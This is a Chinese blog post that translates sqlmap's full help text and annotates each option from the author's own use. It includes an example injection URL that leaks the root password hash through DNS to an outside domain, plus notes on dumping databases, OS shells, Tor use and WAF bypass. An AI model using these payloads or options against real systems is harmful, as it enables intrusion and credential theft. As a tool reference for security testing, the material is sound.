sqlmap帮助文档(配合实践翻译)

本文链接：http://blog.csdn.net/u012763794/article/details/52638931

用过sqlmap，也用过不少功能了，为了更加了解这个工具，决定翻译一下，利用自己的实战经验去翻译

翻译确实有点辛苦，有些选项还实践不了，但是收获还是很多的

不惜感叹：sqlmap真强大啊~~~~~~~~

建议使用 ctrl + f 进行查查找， 方便自己方便别人



注：来源于sqlmap -hh

[plain] view
plain copy







_

___ ___| |_____ ___ ___ {1.0.9.8#dev}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org
用法

Usage: python sqlmap.py [options]

Options: 选项

-h, --help Show basic help message and exit

基本的帮助信息

-hh Show advanced help message and exit

更加详细的帮助信息

--version Show program's version number and exit

版本信息

-v VERBOSE Verbosity level: 0-6 (default 1)

这个是设置sqlmap输出信息的详细程度，默认是1,设置成3（-v 3）就显示出payload的信息了，这个非常适合学习的一个参数

下面给出sqlmap.config文件中的对这个的详细描述

# Verbosity level.

# Valid: integer between 0 and 6

# 0: Show only error and critical messages 只显示错误和关键信息

# 1: Show also warning and info messages 警告和信息

# 2: Show also debug messages 调试信息

# 3: Show also payloads injected payload，如：[15:32:10] [PAYLOAD] 1)',(..)"("

# 4: Show also HTTP requests 整个GET报文都看到了

# 5: Show also HTTP responses' headers 返回报文的头部

# 6: Show also HTTP responses' page content 返回的html代码都有了

# Default: 1

Target: 目标

At least one of these options has to be provided to define the

target(s)

至少从下面选择设定一个目标，最常用的就-u了，url嘛

-d DIRECT Connection string for direct database connection

直接连接数据库，如：mysql的话

-d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

不过的话呢，这个我试过是要装第三方库的

-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")

这个指定url的肯定最熟悉了

-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file

burp用的多，但这个应该我们很少用啊，在burp的option-misc里面有个logging选项保存log文件

查了一下：加多两个参数效率更快

python sqlmap.py -l 文件名 --batch -smart

batch：自动选yes。

smart：启发式快速判断，节约时间。

-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file

从xml文件中解析目标

-m BULKFILE Scan multiple targets given in a textual file

这个应该是从大文件中读取超级多的目标，一般文件多了就一部分一部分地读了，这个就像是一个大字典

-r REQUESTFILE Load HTTP request from a file

这个也用的较多，尤其是POST注入，将一些抓包软件（如burp）抓到的HTTP报文直接保存在文件中，跟着-r就搞掂了

-g GOOGLEDORK Process Google dork results as target URLs

通过google搜索找到的url作为目标，这个也是google hacking了

-c CONFIGFILE Load options from a configuration INI file

通过ini文件设置选项，这个还用过啊,下面的--save参数就是保存参数到ini文件的了，这个方便下次再次黑它

Request: 请求

These options can be used to specify how to connect to the target URL

--method=METHOD Force usage of given HTTP method (e.g. PUT)

指定HTTP请求的方法，GET，POST，PUT，MOVE等

--data=DATA Data string to be sent through POST

指定POST的参数

--param-del=PARA.. Character used for splitting parameter values

这个拆分一些参数的，如下面用;拆分post参数

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

--cookie=COOKIE HTTP Cookie header value

指定cookie值

--cookie-del=COO.. Character used for splitting cookie values

指定分割cookie值的字符是什么

--load-cookies=L.. File containing cookies in Netscape/wget format

这个是从文件中读取cookie吧，Netscape/wget格式的

--drop-set-cookie Ignore Set-Cookie header from response

忽略响应包的Set-Cookie头

--user-agent=AGENT HTTP User-Agent header value

指定User-Agent用户代理

--random-agent Use randomly selected HTTP User-Agent header value

随机选用sqlmap目录中的User-Agent，这个文件再txt目录

--host=HOST HTTP Host header value

指定主机头

--referer=REFERER HTTP Referer header value

指定Referer头，就是请求来源的意思

-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")

指定某个头部，如： -H "X-Forwarded-For: 127.0.0.1"

--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")

这个的话应该是可以指定多个，用\n分割

--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)

指定http认证类型

--auth-cred=AUTH.. HTTP authentication credentials (name:password)

指定http认证的账户名和密码，就行apache就可以设置访问某个目录时要认证

--auth-file=AUTH.. HTTP authentication PEM cert/private key file

指定一个私钥文件来认证

--ignore-401 Ignore HTTP Error 401 (Unauthorized)

忽略401错误

--proxy=PROXY Use a proxy to connect to the target URL

指定代理

--proxy-cred=PRO.. Proxy authentication credentials (name:password)

指定代理的认证信息，就是账号密码

--proxy-file=PRO.. Load proxy list from a file

从文件中选择代理

--ignore-proxy Ignore system default proxy settings

忽略系统默认代理

--tor Use Tor anonymity network

使用tor网络

--tor-port=TORPORT Set Tor proxy port other than default

设置tor的端口，如果不是默认端口的话

--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))

设置tor代理的类型

--check-tor Check to see if Tor is used properly

检测tor能不能用

--delay=DELAY Delay in seconds between each HTTP request

设置每个HTTP请求的时间间隔，这个在有些限制单位时间请求数的防火墙的时候可以用得到，我上次就用过

--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)

设置超时时间，默认30秒

--retries=RETRIES Retries when the connection timeouts (default 3)

设置重试的次数，默认3次

--randomize=RPARAM Randomly change value for given parameter(s)

随机地更改给定参数的值

--safe-url=SAFEURL URL address to visit frequently during testing

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求

这里提供一个安全不错误的连接，每隔一段时间都会去访问一下

--safe-post=SAFE.. POST data to send to a safe URL

这里设置一个正确的post数据

--safe-req=SAFER.. Load safe HTTP request from a file

从文件中读取安全，或者叫正确的http请求

--safe-freq=SAFE.. Test requests between two visits to a given safe URL

设置访问安全url的时间间隔

--skip-urlencode Skip URL encoding of payload data

不进行url编码

--csrf-token=CSR.. Parameter used to hold anti-CSRF token

设置CSRF的token

--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token

--force-ssl Force usage of SSL/HTTPS

强制使用https

--hpp Use HTTP parameter pollution method

尝试了一下，只能用于ASP，得到报错信息如下：

[WARNING] HTTP parameter pollution should work only against ASP(.NET) targets

--eval=EVALCODE Evaluate provided Python code before the request (e.g.

"import hashlib;id2=hashlib.md5(id).hexdigest()")

发送请求之前，先运行这段python代码，比如对某个参数进行处理

比如下面的，hash参数就是id的md5值

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Optimization: 一些优化

These options can be used to optimize the performance of sqlmap

-o Turn on all optimization switches

开启所有优化选项

--predict-output Predict common queries output

预测常见的查询输出，可能跟一些报错出数据库信息那些有关，具体应要看源码才能说，有机会的话我看源码补充下

--keep-alive Use persistent HTTP(s) connections

使用持久连接

--null-connection Retrieve page length without actual HTTP response body

获得页面的长度（应该有多少字符吧，这个具体我也不确定） 除去HTTP的响应的body部分

--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

设置线程，默认为1

Injection: 注入

These options can be used to specify which parameters to test for,

provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)

设定测试的参数，sqlmap默认测试所有的GET和POST参数，当--level的值大于等于2的时候也会测试HTTP Cookie头的值，当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。

这里就给你自己设定了 例如： -p "id,user-agent"

--skip=SKIP Skip testing for given parameter(s)

跳过测试给定的参数

--skip-static Skip testing parameters that not appear dynamic

跳过测试参数是否是静态的

--dbms=DBMS Force back-end DBMS to this value

指定后端的数据库类型（mysql，mssql等）

--dbms-cred=DBMS.. DBMS authentication credentials (user:password)

指定数据库的认证信息(user:password)

--os=OS Force back-end DBMS operating system to this value

指定后台的系统类型

--invalid-bignum Use big numbers for invalidating values

使用大数字（说是无效值），比如payload会出现8446744073709551610这样大的，配合-v 3就能看到

--invalid-logical Use logical operations for invalidating values

使用逻辑字符，比如下面的：

SELECT CHR(101)&CHR(99)&CHR(108)&CHR(89)

SELECT CHAR(82)+CHAR(90)+CHAR(71)+CHAR(84))

SELECT CHAR(67)||CHAR(88)||CHAR(73)||CHAR(105)

--invalid-string Use random strings for invalidating values

使用随机字符

--no-cast Turn off payload casting mechanism

这个看着英文像是关闭payload构造机制

--no-escape Turn off string escaping mechanism

关闭字符串逃逸机制

--prefix=PREFIX Injection payload prefix string

设置注入的前缀，比如单引号注入点就设置前缀为单引号

--suffix=SUFFIX Injection payload suffix string

设置注入payload的后缀

--tamper=TAMPER Use given script(s) for tampering injection data

使用给定的脚本去修改payload中的数据，达到绕过WAF的目的

Detection: 发现

These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)

这个的话，sqlmap使用测试的方法就越多，发送越多请求，耗时也越长

--risk=RISK Risk of tests to perform (1-3, default 1)

boolean-based blind SQL injection tests with AND are considered risk 1, with OR are considered risk 3：这句话是从sqlmap配置文件中找的，就是说基于布尔型盲注and型的就是risk1，or型的就是risk3，那么risk2是两个都搞？

--string=STRING String to match when query is evaluated to True

设置一些返回页面中的字符，页面返回这个字符，说明我们的注入判断语句是正确的

--not-string=NOT.. String to match when query is evaluated to False

设置返回页面没返回某个字符，就是判断错误

--regexp=REGEXP Regexp to match when query is evaluated to True

用正则匹配告诉sqlmap返回什么是正确的

--code=CODE HTTP code to match when query is evaluated to True

用HTTP的响应码来判断注入判断语句是正确的，例如，响应200的时候为真，响应401的时候为假，可以添加参数--code=200

--text-only Compare pages based only on the textual content

真条件下的返回页面与假条件下返回页面是不同可以使用这个

--titles Compare pages based only on their titles

真条件下的返回页面的标题与假条件下返回页面的标题是不同可以使用这个

Techniques: 注入技术

These options can be used to tweak testing of specific SQL injection

techniques

--technique=TECH SQL injection techniques to use (default "BEUSTQ")

指定注入技术，默认使用全部(default "BEUSTQ")，那个含义如下：

# B: Boolean-based blind SQL injection

# E: Error-based SQL injection

# U: UNION query SQL injection

# S: Stacked queries SQL injection

# T: Time-based blind SQL injection

# Q: Inline SQL injection

--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)

使用基于时间的盲注时，设置的数据库延迟，默认是5

--union-cols=UCOLS Range of columns to test for UNION query SQL injection

设置联合查询列的数目的范围

--union-char=UCHAR Character to use for bruteforcing number of columns

设定union查询使用的字符，默认使用NULL

--union-from=UFROM Table to use in FROM part of UNION query SQL injection

这个就不知道了，使用表单中的元素放到union注入中？

--dns-domain=DNS.. Domain name used for DNS exfiltration attack

利用dns进行注入加快盲注，可以看看这个
http://blog.csdn.net/qq_27446553/article/details/51794326
示例url：http://localhost/inject.php?user=123' and if((SELECT LOAD_FILE(CONCAT(、\\\',(SELECT concat(user,'_',mid(password,2,41)) from user where ser='root' limit 1),'.md5crack.cn\\foobar'))),1,1)%23

--second-order=S.. Resulting page URL searched for second-order response

这个就是我们常说的二次注入了，设置后帮你寻找二次注入的页面，不过没用过。。。

Fingerprint:

-f, --fingerprint Perform an extensive DBMS version fingerprint

这个应该是数据库指纹识别，加了可能识别更好

Enumeration:

These options can be used to enumerate the back-end database

management system information, structure and data contained in the

tables. Moreover you can run your own SQL statements

-a, --all Retrieve everything

检索所有，这是拖库的节奏啊

-b, --banner Retrieve DBMS banner

检索数据库的一些标志性的信息，就是指纹这样子吧

--current-user Retrieve DBMS current user

检索当前连接数据库的用户

--current-db Retrieve DBMS current database

检索当前连接的数据库

--hostname Retrieve DBMS server hostname

检索服务器的主机名

--is-dba Detect if the DBMS current user is DBA

检测是不是dba，就是root权限咯

--users Enumerate DBMS users

枚举数据库用户

--passwords Enumerate DBMS users password hashes

枚举数据库用户的哈希值

--privileges Enumerate DBMS users privileges

枚举数据库用户的权限

--roles Enumerate DBMS users roles

枚举数据库用户的角色

--dbs Enumerate DBMS databases

枚举数据库有哪些

--tables Enumerate DBMS database tables

枚举数据表名

--columns Enumerate DBMS database table columns

枚举列名

--schema Enumerate DBMS schema

这个测试过，将所有的数据库的表的基本信息都枚举了，有哪些列，列的数据类型，具体数据就没有枚举

--count Retrieve number of entries for table(s)

枚举表格个数

--dump Dump DBMS database table entries

输出数据库表的数据

--dump-all Dump all DBMS databases tables entries

输出所有

--search Search column(s), table(s) and/or database name(s)

查找特定的列名，表名或数据库名，配合下面的-D,-C,-T

--comments Retrieve DBMS comments

枚举数据库的注释

-D DB DBMS database to enumerate

指定数据库名

-T TBL DBMS database table(s) to enumerate

指定表名

-C COL DBMS database table column(s) to enumerate

指定列名

-X EXCLUDECOL DBMS database table column(s) to not enumerate

指定不枚举那个列

-U USER DBMS user to enumerate

枚举用户，但单独用这个参数感觉没什么用啊，这个可能要看源码才能解决了，估计要配合其他参数

--exclude-sysdbs Exclude DBMS system databases when enumerating tables

枚举时排除系统的数据库

--pivot-column=P.. Pivot column name

以某一列为核心？这个用过没感觉出什么用

--where=DUMPWHERE Use WHERE condition while table dumping

使用where调试限制table的输出

--start=LIMITSTART First query output entry to retrieve

指定开始从第几行开始输出，如--start=3，前两行就不输出了

--stop=LIMITSTOP Last query output entry to retrieve

指定从第几行开始停止输出

--first=FIRSTCHAR First query output word character to retrieve

指定只输出第几个字符开始输出，盲注才有效，亲测

--last=LASTCHAR Last query output word character to retrieve

指定只输出第几个字符停止输出，盲注才有效，亲测，跟上面的配合指定范围，

如 ：--first 3 --last 5 只输出3到5位置的字符

--sql-query=QUERY SQL statement to be executed

指定执行我们的sql语句

--sql-shell Prompt for an interactive SQL shell

返回一个sql的shell

--sql-file=SQLFILE Execute SQL statements from given file(s)

从文件中读取执行sql语句

Brute force: 爆破

These options can be used to run brute force checks

--common-tables Check existence of common tables

检测常见的表名

--common-columns Check existence of common columns

检测常见的列名

User-defined function injection: 使用用户定义的函数注入

These options can be used to create custom user-defined functions

--udf-inject Inject custom user-defined functions

--shared-lib=SHLIB Local path of the shared library

这两个具体没用过，直译就是注入用户定义的函数，另一个就是指定本地共享库

File system access: 文件系统访问

These options can be used to access the back-end database management

system underlying file system

--file-read=RFILE Read a file from the back-end DBMS file system

读取服务器文件

--file-write=WFILE Write a local file on the back-end DBMS file system

写服务器文件

--file-dest=DFILE Back-end DBMS absolute filepath to write to

设置写入的绝对路径

Operating system access: 操作系统访问

These options can be used to access the back-end database management

system underlying operating system

注意下面这些要有相应的权限，一般要root

--os-cmd=OSCMD Execute an operating system command

执行一个指定的命令

--os-shell Prompt for an interactive operating system shell

返回一个shell

--os-pwn Prompt for an OOB shell, Meterpreter or VNC

这个参数需要访问metasploit，结合metasploit使用的

--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC

这个参数也需要访问metasploit

--os-bof Stored procedure buffer overflow exploitation

尝试储存过程的缓冲区溢出

--priv-esc Database process user privilege escalation

利用数据库进程用户进行权限提升

--msf-path=MSFPATH Local path where Metasploit Framework is installed

指定metasploit的路径

--tmp-path=TMPPATH Remote absolute path of temporary files directory

设定临时文件路径

Windows registry access: windows注册表访问

These options can be used to access the back-end database management

system Windows registry

--reg-read Read a Windows registry key value

读取一个键

--reg-add Write a Windows registry key value data

写一个键

--reg-del Delete a Windows registry key value

删除一个键

下面的应该配合上面使用的

--reg-key=REGKEY Windows registry key

指定键

--reg-value=REGVAL Windows registry key value

指定键值

--reg-data=REGDATA Windows registry key value data

值的数据

--reg-type=REGTYPE Windows registry key value type

值得类型

General: 通用的

These options can be used to set some general working parameters

-s SESSIONFILE Load session from a stored (.sqlite) file

从.sqlite恢复那个会话（注入过就会自动生成），那个文件在sqlmap的output文件，（windows在C:\Users\Administrator\.sqlmap\output\）

-t TRAFFICFILE Log all HTTP traffic into a textual file

HTTP请求保存到文件中

--batch Never ask for user input, use the default behaviour

不要询问，使用默认选项

--binary-fields=.. Result fields having binary values (e.g. "digest")

设置有些字段是二进制数值？

--charset=CHARSET Force character encoding used for data retrieval

设置编码

--crawl=CRAWLDEPTH Crawl the website starting from the target URL

从某个url开始爬取网站

--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")

排除爬取网站的关键字，如logout

--csv-del=CSVDEL Delimiting character used in CSV output (default ",")

设置输出结果时的分隔符

--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)

设置输出是的格式，csv，html，SQLITE等

--eta Display for each output the estimated time of arrival

显示每个输出估计的耗时

--flush-session Flush session files for current target

刷新这个url的储存会话信息，就是更新以前注入的记录，如管理员改密码了，就要重新注入了

--forms Parse and test forms on target URL

解析测试目标url的表单

--fresh-queries Ignore query results stored in session file

忽略保存在会话文件储存的查询结果

--hex Use DBMS hex function(s) for data retrieval

使用十六进制

--output-dir=OUT.. Custom output directory path

设置输出路径

--parse-errors Parse and display DBMS error messages from responses

解析输出数据库错误信息

--save=SAVECONFIG Save options to a configuration INI file

保存选项到ini文件

--scope=SCOPE Regexp to filter targets from provided proxy log

正则表达式过滤代理文件提供的代理？

--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)

设置含我们指定关键字的某些测试的payload

--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)

跳过测试指定关键字的某些测试的payload

--update Update sqlmap

更新sqlmap，记得更新了

Miscellaneous: 杂项

-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")

短记忆，什么鬼

--alert=ALERT Run host OS command(s) when SQL injection is found

如果存在注入，运行系统命令

--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")

设定

--beep Beep on question and/or when SQL injection is found

哔一声，找到注入的话

--cleanup Clean up the DBMS from sqlmap specific UDF and tables

清理数据库什么鬼，这个也不懂

--dependencies Check for missing (non-core) sqlmap dependencies

看看sqlmap缺少什么第三方库

--disable-coloring Disable console output coloring

关闭颜色的输出，就没那么美观咯

--gpage=GOOGLEPAGE Use Google dork results from specified page number

指定google搜索的页码，找sqlmap注入目标

--identify-waf Make a thorough testing for a WAF/IPS/IDS protection

尝试辨认WAF/IPS/IDS的类型

--mobile Imitate smartphone through HTTP User-Agent header

使用手机User-Agent

--offline Work in offline mode (only use session data)

使用离线模式

--page-rank Display page rank (PR) for Google dork results

显示该url，google的rank值

--purge-output Safely remove all content from output directory

安全地删除output文件夹

--skip-waf Skip heuristic detection of WAF/IPS/IDS protection

跳过探测WAF/IPS/IDS

--smart Conduct thorough tests only if positive heuristic(s)

全面的扫描如果是积极的启发式，不知什么鬼

--sqlmap-shell Prompt for an interactive sqlmap shell

交互式的sqlmap shell

--tmp-dir=TMPDIR Local directory for storing temporary files

设置临时文件目录

--wizard Simple wizard interface for beginner users

为初学者用户提供简单的向导，就是问你那个url，一步步问下去

本文链接：http://blog.csdn.net/u012763794/article/details/52638931



顶
0

踩